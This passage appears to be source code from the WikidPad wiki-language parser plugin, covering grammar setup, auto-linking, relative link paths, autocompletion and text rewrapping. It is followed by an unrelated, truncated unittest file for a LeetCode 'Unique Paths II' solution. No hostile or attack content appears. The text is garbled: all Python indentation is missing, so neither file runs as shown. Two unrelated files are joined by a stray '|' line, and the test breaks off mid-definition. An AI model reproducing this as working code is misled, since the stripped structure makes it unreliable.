pseudoActionFindMarkup)
temp = OneOrMore(NotAny(endToken) + findMarkupInTodo)
temp = temp.leaveWhitespace().parseWithTabs()
todoContent << temp
oneLineContent << temp
findMarkupInCharacterAttribution = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting, urlRef, imageUrl,
attribute, insertion, escapedChar, nowikiStandalone, footnote, wikiWord,
newLinesParagraph, newLineWhitespace,
todoEntryWithTermination, anchorDef, preBySpace, preHtmlTag, bodyHtmlTag,
htmlTag, htmlEntity, htmlComment,
tableMediaWiki],
endTokenInCharacterAttribution)
findMarkupInCharacterAttribution = findMarkupInCharacterAttribution\
.setPseudoParseAction(pseudoActionFindMarkup)
temp = ZeroOrMore(NotAny(endTokenInCharacterAttribution) +
findMarkupInCharacterAttribution)
temp = temp.leaveWhitespace().parseWithTabs()
characterAttributionContent << temp
findMarkup = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting, urlRef, imageUrl,
attribute, insertion, escapedChar, nowikiStandalone, footnote, wikiWord,
newLinesParagraph, newLineWhitespace, heading,
todoEntryWithTermination, anchorDef, preBySpace, preHtmlTag, bodyHtmlTag,
htmlTag, htmlEntity, htmlComment,
bulletCombination, bulletCombinationContinuation,
tableMediaWiki,
script, horizontalLine], endToken)
findMarkup = findMarkup.setPseudoParseAction(pseudoActionFindMarkup)
content << ZeroOrMore(NotAny(endToken) + findMarkup) # .setResultsName("ZeroOrMore")
content = content.leaveWhitespace().setValidateAction(validateNonEmpty).parseWithTabs()
text = content + stringEnd
# Run optimizer
# Separate element for LanguageHelper.parseTodoEntry()
todoAsWhole = todoAsWhole.optimize(("regexcombine",)).parseWithTabs()
# Whole text, optimizes subelements recursively
text = text.optimize(("regexcombine",)).parseWithTabs()
# print "--content regex", repr(findMarkup.getRegexCombiner().getRegex().pattern)
# text = text.parseWithTabs()
# text.setDebugRecurs(True)
# tableMediaWiki.setDebugRecurs(True, 5)
# content.setDebugRecurs(True, 5)
def _buildBaseDict(wikiDocument=None, formatDetails=None):
if formatDetails is None:
if wikiDocument is None:
formatDetails = WikiDocument.getUserDefaultWikiPageFormatDetails()
formatDetails.setWikiLanguageDetails(WikiLanguageDetails(None, None))
else:
formatDetails = wikiDocument.getWikiDefaultWikiPageFormatDetails()
return {"wikiFormatDetails": formatDetails
}
# -------------------- API for plugin WikiParser --------------------
# During beta state of the WikidPad version, this API isn't stable yet,
# so changes may occur!
class _TheParser(object):
@staticmethod
def reset():
"""
Reset possible internal states of a (non-thread-safe) object for
later reuse.
"""
pass
@staticmethod
def getWikiLanguageName():
"""
Return the internal name of the wiki language implemented by this
parser.
"""
return WIKI_LANGUAGE_NAME
@staticmethod
def _postProcessing(intLanguageName, content, formatDetails, pageAst,
threadstop):
"""
Do some cleanup after main parsing.
Not part of public API.
"""
autoLinkRelaxRE = None
if formatDetails.autoLinkMode == u"relax":
relaxList = formatDetails.wikiDocument.getAutoLinkRelaxInfo()
def recursAutoLink(ast):
newAstNodes = []
for node in ast.getChildren():
if isinstance(node, NonTerminalNode):
newAstNodes.append(recursAutoLink(node))
continue
if node.name == "plainText":
text = node.text
start = node.pos
threadstop.testValidThread()
while text != u"":
# The foundWordText is the text as typed in the page
# foundWord is the word as entered in database
# These two may differ (esp. in whitespaces)
foundPos = len(text)
foundWord = None
foundWordText = None
# Search all regexes for the earliest match
for regex, word in relaxList:
match = regex.search(text)
if match:
pos = match.start(0)
if pos < foundPos:
# Match is earlier than previous
foundPos = pos
foundWord = word
foundWordText = match.group(0)
if pos == 0:
# Can't find a better match -> stop loop
break
# Add token for text before found word (if any)
preText = text[:foundPos]
if preText != u"":
newAstNodes.append(buildSyntaxNode(preText,
start, "plainText"))
start += len(preText)
text = text[len(preText):]
if foundWord is not None:
wwNode = buildSyntaxNode(
[buildSyntaxNode(foundWordText, start, "word")],
start, "wikiWord")
wwNode.searchFragment = None
wwNode.anchorLink = None
wwNode.wikiWord = foundWord
wwNode.titleNode = buildSyntaxNode(foundWordText, start, "plainText") # None
newAstNodes.append(wwNode)
inc = max(len(foundWordText), 1)
start += inc
text = text[inc:]
continue
newAstNodes.append(node)
ast.sub = newAstNodes
return ast
pageAst = recursAutoLink(pageAst)
return pageAst
@staticmethod
def parse(intLanguageName, content, formatDetails, threadstop):
"""
Parse the content written in wiki language intLanguageName using
formatDetails and regularly call threadstop.testRunning() to
raise exception if execution thread is no longer current parsing
thread.
"""
if len(content) == 0:
return buildSyntaxNode([], 0, "text")
if formatDetails.noFormat:
return buildSyntaxNode([buildSyntaxNode(content, 0, "plainText")],
0, "text")
baseDict = _buildBaseDict(formatDetails=formatDetails)
## _prof.start()
try:
t = text.parseString(content, parseAll=True, baseDict=baseDict,
threadstop=threadstop)
t = buildSyntaxNode(t, 0, "text")
t = _TheParser._postProcessing(intLanguageName, content, formatDetails,
t, threadstop)
finally:
## _prof.stop()
pass
return t
THE_PARSER = _TheParser()
class WikiLanguageDetails(object):
"""
Stores state of wiki language specific options and allows to check if
two option sets are equivalent.
"""
__slots__ = ("__weakref__", "footnotesAsWws", "wikiDocument")
def __init__(self, wikiDocument, docPage):
self.wikiDocument = wikiDocument
if self.wikiDocument is None:
# Set wiki-independent default values
self.footnotesAsWws = False
else:
self.footnotesAsWws = self.wikiDocument.getWikiConfig().getboolean(
"main", "footnotes_as_wikiwords", False)
@staticmethod
def getWikiLanguageName():
return WIKI_LANGUAGE_NAME
def isEquivTo(self, details):
"""
Compares with other details object if both are "equivalent"
"""
return self.getWikiLanguageName() == details.getWikiLanguageName() and \
self.footnotesAsWws == details.footnotesAsWws
class _WikiLinkPath(object):
__slots__ = ("upwardCount", "components")
def __init__(self, link=None, pageName=None, upwardCount=-1,
components=None):
assert (link is None) or (pageName is None)
if pageName is not None:
# Handle wiki word as absolute link
self.upwardCount = -1
self.components = pageName.split(u"/")
return
if link is None:
if components is None:
components = []
self.upwardCount = upwardCount
self.components = components
return
if link == u".":
# Link to self
self.upwardCount = 0
self.components = []
return
if link.startswith(u"//"):
self.upwardCount = -1
self.components = link[2:].split(u"/")
return
if link.startswith(u"/"):
self.upwardCount = 0
self.components = link[1:].split(u"/")
return
comps = link.split(u"/")
for i in xrange(0, len(comps)):
if comps[i] != "..":
self.upwardCount = i + 1
self.components = comps[i:]
return
self.upwardCount = len(comps)
self.components = []
def clone(self):
result = _WikiLinkPath()
result.upwardCount = self.upwardCount
result.components = self.components[:]
return result
def __repr__(self):
return "_WikiLinkPath(upwardCount=%i, components=%s)" % \
(self.upwardCount, repr(self.components))
def isAbsolute(self):
return self.upwardCount == -1
def join(self, otherPath):
if otherPath.upwardCount == -1:
self.upwardCount = -1
self.components = otherPath.components[:]
return
elif otherPath.upwardCount == 0:
self.components = self.components + otherPath.components
else:
if otherPath.upwardCount <= len(self.components):
self.components = self.components[:-otherPath.upwardCount] + \
otherPath.components
else:
# Going back further than self was deep (eliminating
# more components than self had)
if self.upwardCount == -1:
# Actually an error (going upward after already reaching root)
# TODO: Handle as error?
self.components = otherPath.components[:]
else:
# Add up upwardCount of other path after subtracting
# number of own components because otherPath walked
# over them already
self.upwardCount += otherPath.upwardCount - \
len(self.components)
self.components = otherPath.components[:]
def getLinkCore(self):
comps = u"/".join(self.components)
if self.upwardCount == -1:
return u"//" + comps
elif self.upwardCount == 0:
return u"/" + comps
elif self.upwardCount == 1:
return comps
else:
return u"/".join([u".."] * (self.upwardCount - 1)) + u"/" + comps
def resolveWikiWord(self, basePath):
if self.isAbsolute():
# Absolute is checked separately so basePath can be None if
# self is absolute
return u"/".join(self.components)
absPath = basePath.joinTo(self)
return u"/".join(absPath.components)
def resolvePrefixSilenceAndWikiWordLink(self, basePath):
"""
If using subpages this is used to resolve a link to the right wiki word
for autocompletion. It returns a tuple (prefix, silence, pageName).
Autocompletion now searches for all wiki words starting with pageName. For
all found items it removes the first silence characters, prepends the prefix
instead and uses the result as suggestion for autocompletion.
If prefix is None autocompletion is not possible.
"""
if self.isAbsolute():
return u"//", 0, self.resolveWikiWord(None)
assert basePath.isAbsolute()
if len(self.components) == 0:
# link path only consists of ".." -> autocompletion not possible
if self.upwardCount == 0:
return None, None, u"/".join(basePath.components)
return None, None, u"/".join(basePath.components[:-self.upwardCount])
if self.upwardCount == 0:
return u"/", len(basePath.resolveWikiWord(None)) + 1, \
u"/".join(basePath.components + self.components)
def lenAddOne(s):
return len(s) + 1 if s != "" else 0
if self.upwardCount == 1:
return u"", \
lenAddOne(u"/".join(basePath.components[:-1])), \
u"/".join(basePath.components[:-1] + self.components)
return u"/".join([u".."] * (self.upwardCount - 1)) + u"/", \
lenAddOne(u"/".join(basePath.components[:-self.upwardCount])), \
u"/".join(basePath.components[:-self.upwardCount] +
self.components)
def joinTo(self, otherPath):
result = self.clone()
result.join(otherPath)
return result
@staticmethod
def isAbsoluteLinkCore(linkCore):
return linkCore.startswith(u"//")
@staticmethod
def getRelativePathByAbsPaths(targetAbsPath, baseAbsPath,
downwardOnly=True):
"""
Create a link to targetAbsPath relative to baseAbsPath.
If downwardOnly is False, the link may contain parts to go to parents
or siblings
in path (in this wiki language, ".." are used for this).
If downwardOnly is True, the function may return None if a relative
link can't be constructed.
"""
assert targetAbsPath.isAbsolute() and baseAbsPath.isAbsolute()
wordPath = targetAbsPath.components[:]
baseWordPath = baseAbsPath.components[:]
result = _WikiLinkPath()
if downwardOnly:
if len(baseWordPath) >= len(wordPath):
return None
if baseWordPath != wordPath[:len(baseWordPath)]:
return None
result.upwardCount = 0
result.components = wordPath[len(baseWordPath):]
return result
# TODO test downwardOnly == False
else:
# Remove common path elements
while len(wordPath) > 0 and len(baseWordPath) > 0 and \
wordPath[0] == baseWordPath[0]:
del wordPath[0]
del baseWordPath[0]
if len(baseWordPath) == 0:
if len(wordPath) == 0:
return None # word == baseWord, TODO return u"." or something
result.upwardCount = 0
result.components = wordPath
return result
result.upwardCount = len(baseWordPath)
result.components = wordPath
return result
_RE_LINE_INDENT = re.compile(ur"^[ \t]*")
class _TheHelper(object):
@staticmethod
def reset():
pass
@staticmethod
def getWikiLanguageName():
return WIKI_LANGUAGE_NAME
# TODO More descriptive error messages (which character(s) is/are wrong?)
@staticmethod # isValidWikiWord
def checkForInvalidWikiWord(word, wikiDocument=None, settings=None):
"""
Test if word is syntactically a valid wiki word and no settings
are against it. The camelCase black list is not checked.
The function returns None IFF THE WORD IS VALID, an error string
otherwise
"""
if settings is not None and settings.has_key("footnotesAsWws"):
footnotesAsWws = settings["footnotesAsWws"]
else:
if wikiDocument is None:
footnotesAsWws = False
else:
footnotesAsWws = wikiDocument.getWikiConfig().getboolean(
"main", "footnotes_as_wikiwords", False)
if not footnotesAsWws and footnoteRE.match(word):
return _(u"This is a footnote")
if wikiPageNameRE.match(word):
return None
else:
return _(u"This is syntactically not a wiki word")
# TODO More descriptive error messages (which character(s) is/are wrong?)
@staticmethod # isValidWikiWord
def checkForInvalidWikiLink(word, wikiDocument=None, settings=None):
"""
Test if word is syntactically a valid wiki link and no settings
are against it. The camelCase black list is not checked.
The function returns None IFF THE WORD IS VALID, an error string
otherwise
"""
if settings is not None and settings.has_key("footnotesAsWws"):
footnotesAsWws = settings["footnotesAsWws"]
else:
if wikiDocument is None:
footnotesAsWws = False
else:
footnotesAsWws = wikiDocument.getWikiConfig().getboolean(
"main", "footnotes_as_wikiwords", False)
if not footnotesAsWws and footnoteRE.match(word):
return _(u"This is a footnote")
if wikiLinkCoreRE.match(word):
return None
else:
return _(u"This is syntactically not a wiki word")
@staticmethod
def extractWikiWordFromLink(word, wikiDocument=None, basePage=None): # TODO Problems with subpages?
"""
Strip brackets and other link details if present and return wikiWord
if a valid wiki word can be extracted, None otherwise.
"""
if wikiDocument is None and basePage is not None:
wikiDocument = basePage.getWikiDocument()
if basePage is None:
baseDict = _buildBaseDict(wikiDocument=wikiDocument)
else:
baseDict = _buildBaseDict(formatDetails=basePage.getFormatDetails())
try:
t = extractableWikiWord.parseString(word, parseAll=True,
baseDict=baseDict)
t = t[0]
return t.wikiWord
except ParseException:
return None
resolveWikiWordLink = staticmethod(resolveWikiWordLink)
"""
If using subpages this is used to resolve a link to the right wiki word
relative to basePage on which the link is placed.
It returns the absolute link (page name).
"""
@staticmethod
def resolvePrefixSilenceAndWikiWordLink(link, basePage):
"""
If using subpages this is used to resolve a link to the right wiki word
for autocompletion. It returns a tuple (prefix, silence, pageName).
Autocompletion now searches for all wiki words starting with pageName. For
all found items it removes the first silence characters, prepends the prefix
instead and uses the result as suggestion for autocompletion.
If prefix is None autocompletion is not possible.
"""
linkPath = _WikiLinkPath(link=link)
if linkPath.isAbsolute():
return linkPath.resolvePrefixSilenceAndWikiWordLink(None)
if basePage is None:
return u"", 0, link # TODO: Better reaction?
basePageName = basePage.getWikiWord()
if basePageName is None:
return u"", 0, link # TODO: Better reaction?
return linkPath.resolvePrefixSilenceAndWikiWordLink(_WikiLinkPath(
pageName=basePageName))
@staticmethod
def parseTodoValue(todoValue, wikiDocument=None):
"""
Parse a todo value (right of the colon) and return the node or
return None if value couldn't be parsed
"""
baseDict = _buildBaseDict(wikiDocument=wikiDocument)
try:
t = todoContent.parseString(todoValue, parseAll=True,
baseDict=baseDict)
return t[0]
except:
return None
@staticmethod
def parseTodoEntry(entry, wikiDocument=None):
"""
Parse a complete todo entry (without end-token) and return the node or
return None if value couldn't be parsed
"""
baseDict = _buildBaseDict(wikiDocument=wikiDocument)
try:
t = todoAsWhole.parseString(entry, parseAll=True,
baseDict=baseDict)
return t[0]
except:
traceback.print_exc()
return None
@staticmethod
def _createAutoLinkRelaxWordEntryRE(word):
"""
Get compiled regular expression for one word in autoLink "relax"
mode.
Not part of public API.
"""
# Split into parts of contiguous alphanumeric characters
parts = AutoLinkRelaxSplitRE.split(word)
# Filter empty parts
parts = [p for p in parts if p != u""]
# Instead of original non-alphanum characters allow arbitrary
# non-alphanum characters
pat = ur"\b" + (AutoLinkRelaxJoinPAT.join(parts)) + ur"\b"
regex = re.compile(pat, AutoLinkRelaxJoinFlags)
return regex
@staticmethod
def buildAutoLinkRelaxInfo(wikiDocument):
"""
Build some cache info needed to process auto-links in "relax" mode.
This info will be given back in the formatDetails when calling
_TheParser.parse().
The implementation for this plugin creates a list of regular
expressions and the related wiki words, but this is not mandatory.
"""
# Build up regular expression
# First fetch all wiki words
words = wikiDocument.getWikiData().getAllProducedWikiLinks()
# Sort longest words first
words.sort(key=lambda w: len(w), reverse=True)
return [(_TheHelper._createAutoLinkRelaxWordEntryRE(w), w)
for w in words if w != u""]
@staticmethod
def createWikiLinkPathObject(*args, **kwargs):
return _WikiLinkPath(*args, **kwargs)
@staticmethod
def isAbsoluteLinkCore(linkCore):
return _WikiLinkPath.isAbsoluteLinkCore(linkCore)
@staticmethod
def createLinkFromWikiWord(word, wikiPage, forceAbsolute=False):
"""
Create a link from word which should be put on wikiPage.
"""
wikiDocument = wikiPage.getWikiDocument()
targetPath = _WikiLinkPath(pageName=word)
if forceAbsolute:
return BracketStart + targetPath.getLinkCore() + BracketEnd
linkCore = _TheHelper.createRelativeLinkFromWikiWord(
word, wikiPage.getWikiWord(), downwardOnly=False)
if _TheHelper.isCcWikiWord(word) and _TheHelper.isCcWikiWord(linkCore):
wikiFormatDetails = wikiPage.getFormatDetails()
if wikiFormatDetails.withCamelCase:
ccBlacklist = wikiDocument.getCcWordBlacklist()
if not word in ccBlacklist:
return linkCore
return BracketStart + linkCore + BracketEnd
@staticmethod
def createAbsoluteLinksFromWikiWords(words, wikiPage=None):
"""
Create particularly stable links from a list of words which should be
put on wikiPage.
"""
return u"\n".join([u"%s//%s%s" % (BracketStart, w, BracketEnd)
for w in words])
# # For compatibility. TODO: Remove
# createStableLinksFromWikiWords = createAbsoluteLinksFromWikiWords
@staticmethod
def createWikiLinkFromText(text, bracketed=True):
text = text.replace(BracketStart, u"").replace(BracketEnd, u"")
while text.startswith(u"+"):
text = text[1:]
text = text.strip()
if len(text) == 0:
return u""
text = text[0:1].upper() + text[1:]
if bracketed:
text = BracketStart + text + BracketEnd
return text
@staticmethod
def createRelativeLinkFromWikiWord(word, baseWord, downwardOnly=True):
"""
Create a link to wikiword word relative to baseWord.
If downwardOnly is False, the link may contain parts to go to parents
or siblings
in path (in this wiki language, ".." are used for this).
If downwardOnly is True, the function may return None if a relative
link can't be constructed.
"""
relPath = _WikiLinkPath.getRelativePathByAbsPaths(_WikiLinkPath(
pageName=word), _WikiLinkPath(pageName=baseWord),
downwardOnly=downwardOnly)
if relPath is None:
return None
return relPath.getLinkCore()
@staticmethod
def createUrlLinkFromPath(wikiDocument, path, relative=False,
bracketed=False, protocol=None):
if bracketed:
addSafe = ' '
else:
addSafe = ''
if relative:
url = wikiDocument.makeAbsPathRelUrl(path, addSafe=addSafe)
if url is None:
# Relative not possible -> absolute instead
relative = False
else:
if protocol == "wiki":
url = u"wiki" + url # Combines to "wikirel://"
if not relative:
if protocol == "wiki":
url = u"wiki:" + StringOps.urlFromPathname(path, addSafe=addSafe)
else:
url = u"file:" + StringOps.urlFromPathname(path, addSafe=addSafe)
if bracketed:
url = BracketStart + url + BracketEnd
return url
@staticmethod
def createAttributeFromComponents(key, value, wikiPage=None):
"""
Build an attribute from key and value.
TODO: Check for necessary escaping
"""
return u"%s%s: %s%s\n" % (BracketStart, key, value, BracketEnd)
@staticmethod
def isCcWikiWord(word):
return False
@staticmethod
def findNextWordForSpellcheck(text, startPos, wikiPage):
"""
Find in text next word to spellcheck, beginning at position startPos
Returns tuple (start, end, spWord) which is either (None, None, None)
if no more word can be found or returns start and after-end of the
spWord to spellcheck.
TODO: Move away because this is specific to human language,
not wiki language.
"""
while True:
mat = TextWordRE.search(text, startPos)
if mat is None:
# No further word
return (None, None, None)
if mat.group("negative") is not None:
startPos = mat.end()
continue
start, end = mat.span()
spWord = mat.group()
return (start, end, spWord)
@staticmethod
def prepareAutoComplete(editor, text, charPos, lineStartCharPos,
wikiDocument, docPage, settings):
"""
Called when user wants autocompletion.
text -- Whole text of page
charPos -- Cursor position in characters
lineStartCharPos -- For convenience and speed, position of the
start of text line in which cursor is.
wikiDocument -- wiki document object
docPage -- DocPage object on which autocompletion is done
closingBracket -- boolean iff a closing bracket should be suggested
for bracket wikiwords and attributes
returns -- a list of tuples (sortKey, entry, backStepChars) where
sortKey -- unistring to use for sorting entries alphabetically
using right collator
entry -- actual unistring entry to show and to insert if
selected
backStepChars -- numbers of chars to delete to the left of cursor
before inserting entry
"""
line = text[lineStartCharPos:charPos]
rline = revStr(line)
backStepMap = {}
closingBracket = settings.get("closingBracket", False)
builtinAttribs = settings.get("builtinAttribs", False)
# TODO Sort entries appropriately (whatever this means)
wikiData = wikiDocument.getWikiData()
baseWordSegments = docPage.getWikiWord().split(u"/")
mat2 = RevWikiWordRE2.match(rline)
mat3 = RevAttributeValue.match(rline)
if mat2:
# may be not-CamelCase word or in an attribute name
tofind = line[-mat2.end():]
# Should a closing bracket be appended to suggested words?
if closingBracket:
wordBracketEnd = BracketEnd
else:
wordBracketEnd = u""
backstep = len(tofind)
prefix, silence, link = _TheHelper.resolvePrefixSilenceAndWikiWordLink(
tofind[len(BracketStart):], docPage)
if prefix is not None:
for word in wikiData.getWikiPageLinkTermsStartingWith(
link, True):
backStepMap[BracketStart + prefix + word[silence:] +
wordBracketEnd] = backstep
for prop in wikiDocument.getAttributeNamesStartingWith(
tofind[len(BracketStart):], builtinAttribs):
backStepMap[BracketStart + prop] = backstep
elif mat3:
# In an attribute value
tofind = line[-mat3.end():]
propkey = revStr(mat3.group(3))
propfill = revStr(mat3.group(2))
propvalpart = revStr(mat3.group(1))
values = filter(lambda pv: pv.startswith(propvalpart),
wikiDocument.getDistinctAttributeValuesByKey(propkey,
builtinAttribs))
for v in values:
backStepMap[BracketStart + propkey +
propfill + v + BracketEnd] = len(tofind)
mat = RevTodoKeyRE.match(rline)
if mat:
# Might be todo entry
tofind = line[-mat.end():]
for t in wikiData.getTodos():
td = t[1]
if not td.startswith(tofind):
continue
# tdmat = ToDoREWithCapturing.match(td)
# key = tdmat.group(1) + u":"
key = td + u":"
backStepMap[key] = len(tofind)
mat = RevTodoValueRE.match(rline)
if mat:
# Might be todo entry
tofind = line[-mat.end():]
combinedTodos = [t[1] + ":" + t[2] for t in wikiData.getTodos()]
# todos = [t[1] for t in wikiData.getTodos() if t[1].startswith(tofind)]
todos = [t for t in combinedTodos if t.startswith(tofind)]
for t in todos:
backStepMap[t] = len(tofind)
mat = RevWikiWordAnchorRE2.match(rline)
if mat:
# In an anchor of a possible bracketed wiki word
tofind = line[-mat.end():]
wikiLinkCore = revStr(mat.group("wikiWord"))
wikiWord = _TheHelper.resolvePrefixSilenceAndWikiWordLink(
wikiLinkCore, docPage)[2]
anchorBegin = revStr(mat.group("anchorBegin"))
try:
page = wikiDocument.getWikiPage(wikiWord) # May throw exception
anchors = [a for a in page.getAnchors()
if a.startswith(anchorBegin)]
for a in anchors:
backStepMap[BracketStart + wikiLinkCore +
BracketEnd +
WikiWordAnchorStart + a] = len(tofind)
except WikiWordNotFoundException:
# wikiWord isn't a wiki word
pass
acresult = backStepMap.keys()
if len(acresult) > 0:
# formatting.BracketEnd
acresultTuples = []
for r in acresult:
if r.endswith(BracketEnd):
rc = r[: -len(BracketEnd)]
else:
rc = r
acresultTuples.append((rc, r, backStepMap[r]))
return acresultTuples
else:
return []
@staticmethod
def handleNewLineBeforeEditor(editor, text, charPos, lineStartCharPos,
wikiDocument, settings):
"""
Processes pressing of a newline in editor before editor processes it.
Returns True iff the actual newline should be processed by
editor yet.
"""
# autoIndent, autoBullet, autoUnbullet
line = text[lineStartCharPos:charPos]
if settings.get("autoUnbullet", False):
# Check for lonely bullet
mat = BulletRE.match(line)
if mat and mat.end(0) == len(line):
editor.SetSelectionByCharPos(lineStartCharPos, charPos)
editor.ReplaceSelection( mat.group("indentBullet") +
mat.group("preLastBullet"))
return False
return True
@staticmethod
def handleNewLineAfterEditor(editor, text, charPos, lineStartCharPos,
wikiDocument, settings):
"""
Processes pressing of a newline after editor processed it (if
handleNewLineBeforeEditor returned True).
"""
currentLine = editor.GetCurrentLine()
if currentLine > 0:
previousLine = editor.GetLine(currentLine - 1)
# check if the prev level was a bullet level
if settings.get("autoBullets", False):
match = BulletRE.match(previousLine)
if match:
if match.group("lastBullet") == u";":
# Special case: Last bullet was definition term
# -> replace by definition data
editor.AddText( match.group("indentBullet") +
match.group("preLastBullet") + u":" +
match.group("lastBulletWhite") )
else:
editor.AddText(match.group(0))
return
indent = _RE_LINE_INDENT.match(previousLine).group(0)
if settings.get("autoIndent", False):
editor.AddText(indent)
return
@staticmethod
def handleRewrapText(editor, settings):
# TODO Handle bullets correctly
curPos = editor.GetCurrentPos()
# search back for start of the para
curLineNum = editor.GetCurrentLine()
curLine = editor.GetLine(curLineNum)
while curLineNum > 0:
# don't wrap previous bullets with this bullet
if BulletRE.match(curLine):
break
if EmptyLineRE.match(curLine):
curLineNum = curLineNum + 1
break
curLineNum = curLineNum - 1
curLine = editor.GetLine(curLineNum)
startLine = curLineNum
# search forward for end of the para
curLineNum = editor.GetCurrentLine()
curLine = editor.GetLine(curLineNum)
while curLineNum <= editor.GetLineCount():
# don't wrap the next bullet with this bullet
if curLineNum > startLine:
if BulletRE.match(curLine):
curLineNum = curLineNum - 1
break
if EmptyLineRE.match(curLine):
curLineNum = curLineNum - 1
break
curLineNum = curLineNum + 1
curLine = editor.GetLine(curLineNum)
endLine = curLineNum
if (startLine <= endLine):
# get the start and end of the lines
startPos = editor.PositionFromLine(startLine)
endPos = editor.GetLineEndPosition(endLine)
# get the indentation for rewrapping
indent = _RE_LINE_INDENT.match(editor.GetLine(startLine)).group(0)
subIndent = indent
# if the start of the para is a bullet the subIndent has to change
if BulletRE.match(editor.GetLine(startLine)):
subIndent = indent + u" "
# get the text that will be wrapped
indentedStartPos = startPos + editor.bytelenSct(indent)
text = editor.GetTextRange(indentedStartPos, endPos)
# remove spaces, newlines, etc
text = re.sub("[\s\r\n]+", " ", text)
# wrap the text
wrapPosition = 70
try:
wrapPosition = int(
editor.getLoadedDocPage().getAttributeOrGlobal(
"wrap", "70"))
except:
pass
# make the min wrapPosition 5
if wrapPosition < 5:
wrapPosition = 5
if editor.isCharWrap():
lines = []
for s in xrange(0, len(text), wrapPosition):
lines.append(text[s:s+wrapPosition])
filledText = u"\n".join(lines)
else:
filledText = fill(text, width=wrapPosition,
initial_indent=indent,
subsequent_indent=subIndent)
# replace the text based on targetting
editor.SetTargetStart(startPos)
editor.SetTargetEnd(endPos)
editor.ReplaceTarget(filledText)
editor.GotoPos(endPos)
editor.scrollXY(0, editor.GetScrollPos(wx.VERTICAL))
@staticmethod
def handlePasteRawHtml(editor, rawHtml, settings):
# Remove possible body end tags
rawHtml = rawHtml.replace(u"</body>", u"")
if rawHtml:
editor.ReplaceSelection(u"<body>" + rawHtml + u"</body>")
return True
return False
@staticmethod
def formatSelectedText(text, start, afterEnd, formatType, settings):
"""
Called when selected text (between start and afterEnd)
e.g. in editor should be formatted (e.g. bold or as heading)
text -- Whole text
start -- Start position of selection
afterEnd -- After end position of selection
formatType -- string to describe type of format
settings -- dict with additional information, currently ignored
Returns None if operation wasn't supported or possible or
tuple (replacement, repStart, repAfterEnd, selStart, selAfterEnd) where
replacement -- replacement text
repStart -- Start of characters to delete in original text
repAfterEnd -- After end of characters to delete
selStart -- Recommended start of editor selection after replacement
was done
selAfterEnd -- Recommended after end of editor selection after replacement
"""
if formatType == "bold":
return StringOps.styleSelection(text, start, afterEnd, u"'''")
elif formatType == "italics":
return StringOps.styleSelection(text, start, afterEnd, u"''")
elif formatType == "plusHeading":
level = settings.get("headingLevel", 1)
ls = StringOps.findLineStart(text, start)
le = StringOps.findLineEnd(text, start)
titleSurrounding = settings.get("titleSurrounding", u"")
cursorShift = level + len(titleSurrounding)
return (u'=' * level + titleSurrounding + text[ls:le] +
titleSurrounding + u'=' * level, ls, le,
start + cursorShift, start + cursorShift)
return None
@staticmethod
def getNewDefaultWikiSettingsPage(mainControl):
"""
Return default text of the "WikiSettings" page for a new wiki.
"""
return _(u"""== Wiki Settings ==
These are your default global settings.
[[global.importance.low.color: grey]]
[[global.importance.high.bold: true]]
[[global.contact.icon: contact]]
[[global.wrap: 70]]
[[icon: cog]]
""") # TODO Localize differently?
@staticmethod
def createWikiLanguageDetails(wikiDocument, docPage):
"""
Returns a new WikiLanguageDetails object based on current configuration
"""
return WikiLanguageDetails(wikiDocument, docPage)
_RECURSIVE_STYLING_NODE_NAMES = frozenset(("table", "tableRow", "tableCell",
"orderedList", "unorderedList", "indentedText",
"noExport"))
@staticmethod
def getRecursiveStylingNodeNames():
"""
Returns a set of those node names of NonTerminalNode-s for which the
WikiTxtCtrl.processTokens() should process children recursively.
"""
return _TheHelper._RECURSIVE_STYLING_NODE_NAMES
_FOLDING_NODE_DICT = {
"tableMediaWiki": (True, False),
"attribute": (True, False),
"insertion": (True, False)
}
@staticmethod
def getFoldingNodeDict():
"""
Retrieve the folding node dictionary which tells
which AST nodes (other than "heading") should be processed by
folding.
The folding node dictionary has the names of the AST node types as keys,
each value is a tuple (fold, recursive) where
fold -- True iff node should be folded
recursive -- True iff node should be processed recursively
The value tuples may contain more than these two items, processFolding()
must be able to handle that.
"""
return _TheHelper._FOLDING_NODE_DICT
THE_LANGUAGE_HELPER = _TheHelper()
def describeWikiLanguage(ver, app):
"""
API function for "WikiParser" plugins
Returns a sequence of tuples describing the supported
insertion keys. Each tuple has the form (intLanguageName, hrLanguageName,
parserFactory, parserIsThreadsafe, editHelperFactory,
editHelperIsThreadsafe)
Where the items mean:
intLanguageName -- internal unique name (should be ascii only) to
identify wiki language processed by parser
hrLanguageName -- human readable language name, unistring
(TODO: localization)
parserFactory -- factory function to create parser object(s) fulfilling
parserIsThreadsafe -- boolean if parser is threadsafe. If not this
will currently lead to a very inefficient operation
processHelperFactory -- factory for helper object containing further
functions needed for editing, tree presentation and so on.
editHelperIsThreadsafe -- boolean if edit helper functions are
threadsafe.
Parameters:
ver -- API version (can only be 1 currently)
app -- wxApp object
"""
return ((WIKI_LANGUAGE_NAME, WIKI_HR_LANGUAGE_NAME, parserFactory,
True, languageHelperFactory, True),)
def parserFactory(intLanguageName, debugMode):
"""
Builds up a parser object. If the parser is threadsafe this function is
allowed to return the same object multiple times (currently it should do
so for efficiency).
For seldom needed parsers it is recommended to put the actual parser
construction as singleton in this function to reduce startup time of WikidPad.
For non-threadsafe parsers it is required to create one inside this
function at each call.
intLanguageName -- internal unique name (should be ascii only) to
identify wiki language to process by parser
"""
# if text.getDebug() != debugMode:
# text.setDebugRecurs(debugMode)
return THE_PARSER
def languageHelperFactory(intLanguageName, debugMode):
"""
Builds up a language helper object. If the object is threadsafe this function is
allowed to return the same object multiple times (currently it should do
so for efficiency).
intLanguageName -- internal unique name (should be ascii only) to
identify wiki language to process by helper
"""
return THE_LANGUAGE_HELPER
|
import unittest
import sys
sys.path.append('LeetCode/_0051_0100')
from _063_UniquePaths2 import Solution
class Test_063_UniquePaths2(unittest.TestCase):
def test_uniquePathsWithObstacles(self):
solution = Solution()
self.assertEqual(2, solution.uniquePathsWithObstacles([
[0,0,0],
[0,1,0],
[0,0,0]
]))
def test_uniquePathsWithObstacles_2(self):
solution = Solution()
self.assertEqual(3, solution.uniquePathsWithObstacles([
[0,1,0],
[0,0,0],
[0,0,0]
]))
def test_uniquePathsWithObstacles_startWithObstacle(self):
solution = Solution()
self.assertEqual(0, solution.uniquePathsWithObstacles([
[1,0,0],
[0,0,0],
[0,0,0]
]))
def test_uniquePathsWithObstacles_oneRow(self):
solution = Solution()
self.assertEqual(1, solution.uniquePathsWithObstacles([[0,0]]))
def test_uniquePathsWithObstacles_oneColumn(self):
